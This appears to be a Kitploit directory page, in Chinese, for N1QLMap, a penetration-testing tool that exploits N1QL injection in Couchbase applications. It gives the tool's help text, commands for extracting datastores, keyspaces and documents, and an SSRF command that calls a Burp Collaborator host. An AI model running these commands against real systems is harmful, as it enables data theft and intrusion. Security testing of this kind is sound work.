Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
N1QLMap — 该工具通过利用 N1QL 注入漏洞,从 Couchbase 数据库中窃取数据。 | Kitploit
工具/GitHubGitHub/fsecurelabs/n1qlmap
Web应用程序漏洞利用数据泄露渗透测试数据库安全
GitHubfsecurelabs/n1qlmap

N1QLMap

该工具通过利用 N1QL 注入漏洞,从 Couchbase 数据库中窃取数据。

查看仓库
7514126年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

描述

N1QLMap 是一款 N1QL 利用工具,目前支持 Couchbase 数据库。该工具支持数据提取以及通过 CURL 进行 SSRF 攻击。 更多信息请参阅:https://labs.f-secure.com/blog/n1ql-injection-kind-of-sql-injection-in-a-nosql-database。

用法

帮助

root@kitploit:~
用法: n1qlMap.py [-h] [-r REQUEST] [-k KEYWORD] [--proxy PROXY] [--validatecerts] [-v]
                  (-d | -ks DATASTORE_URL | -e KEYSPACE_ID | -q QUERY | -c [ENDPOINT [OPTIONS ...]])
                  host

位置参数:
  host                 用于发送 HTTP 请求的主机,例如 https://vulndomain.net

可选参数:
  -h, --help            显示此帮助信息并退出
  -r REQUEST, --request REQUEST
                        HTTP 请求文件路径
  -k KEYWORD, --keyword KEYWORD
                        查询成功时 HTTP 响应中存在的关键字
  --proxy PROXY         代理服务器地址
  --validatecerts       设置标志以强制证书验证。默认不验证证书!
  -v, --verbose_debug   将详细级别设置为调试
  -d, --datastores      列出可用的数据存储
  -ks DATASTORE_URL, --keyspaces DATASTORE_URL
                        列出特定数据存储 URL 下可用的键空间
  -e KEYSPACE_ID, --extract KEYSPACE_ID
                        从指定键空间提取数据
  -q QUERY, --query QUERY
                        运行任意 N1QL 查询
  -c [ENDPOINT [OPTIONS ...]], --curl [ENDPOINT [OPTIONS ...]]
                        在查询中运行 CURL N1QL 函数,可用于 SSRF

用法

  1. 将 HTTP 请求放入 request.txt 文件中。使用 *i* 标记注入点。参考 example_request_1.txt 文件。
  2. 使用以下命令之一。

提取数据存储:

root@kitploit:~
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --datastores

从指定数据存储 ID 中提取键空间:

root@kitploit:~
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --keyspaces "http://127.0.0.1:8091"

从指定键空间提取所有文档:

root@kitploit:~
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --extract travel-sample

运行任意查询:

root@kitploit:~
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --query 'SELECT * FROM `travel-sample` AS T ORDER by META(T).id LIMIT 1'

执行 CURL 请求 / SSRF:

root@kitploit:~
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --curl *************j3mrt7xy3pre.burpcollaborator.net "{'request':'POST','data':'data','header':['User-Agent: Agent Smith']}"

演示

要体验该漏洞,您可以启动带有 Couchbase 和 NodeJS Web 应用程序的 Docker 机器。如果您已满足要求,只需运行:

root@kitploit:~
cd n1ql-demo
./quick_setup.sh

现在,您可以针对容器化的 Web 应用程序运行"用法"部分中描述的命令。

要求

N1QLMap.py 脚本除了 Python 3 之外不需要任何特定要求。

以下要求仅针对 n1ql-demo 目录中提供的演示。

  • Docker
  • Docker Compose

在 Kali 上安装 Docker 和 Docker Compose:

root@kitploit:~
# Docker 安装
curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add -
echo 'deb [arch=amd64] https://download.docker.com/linux/debian buster stable' > /etc/apt/sources.list.d/docker.list
apt-get update

apt-get remove docker docker-engine docker.io
apt-get install docker-ce

# 启动 Docker 服务
systemctl start docker

# Docker Compose 安装
sudo curl -L "https://github.com/docker/compose/releases/download/1.24.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose

测试 Docker:

root@kitploit:~
docker run hello-world
下载工具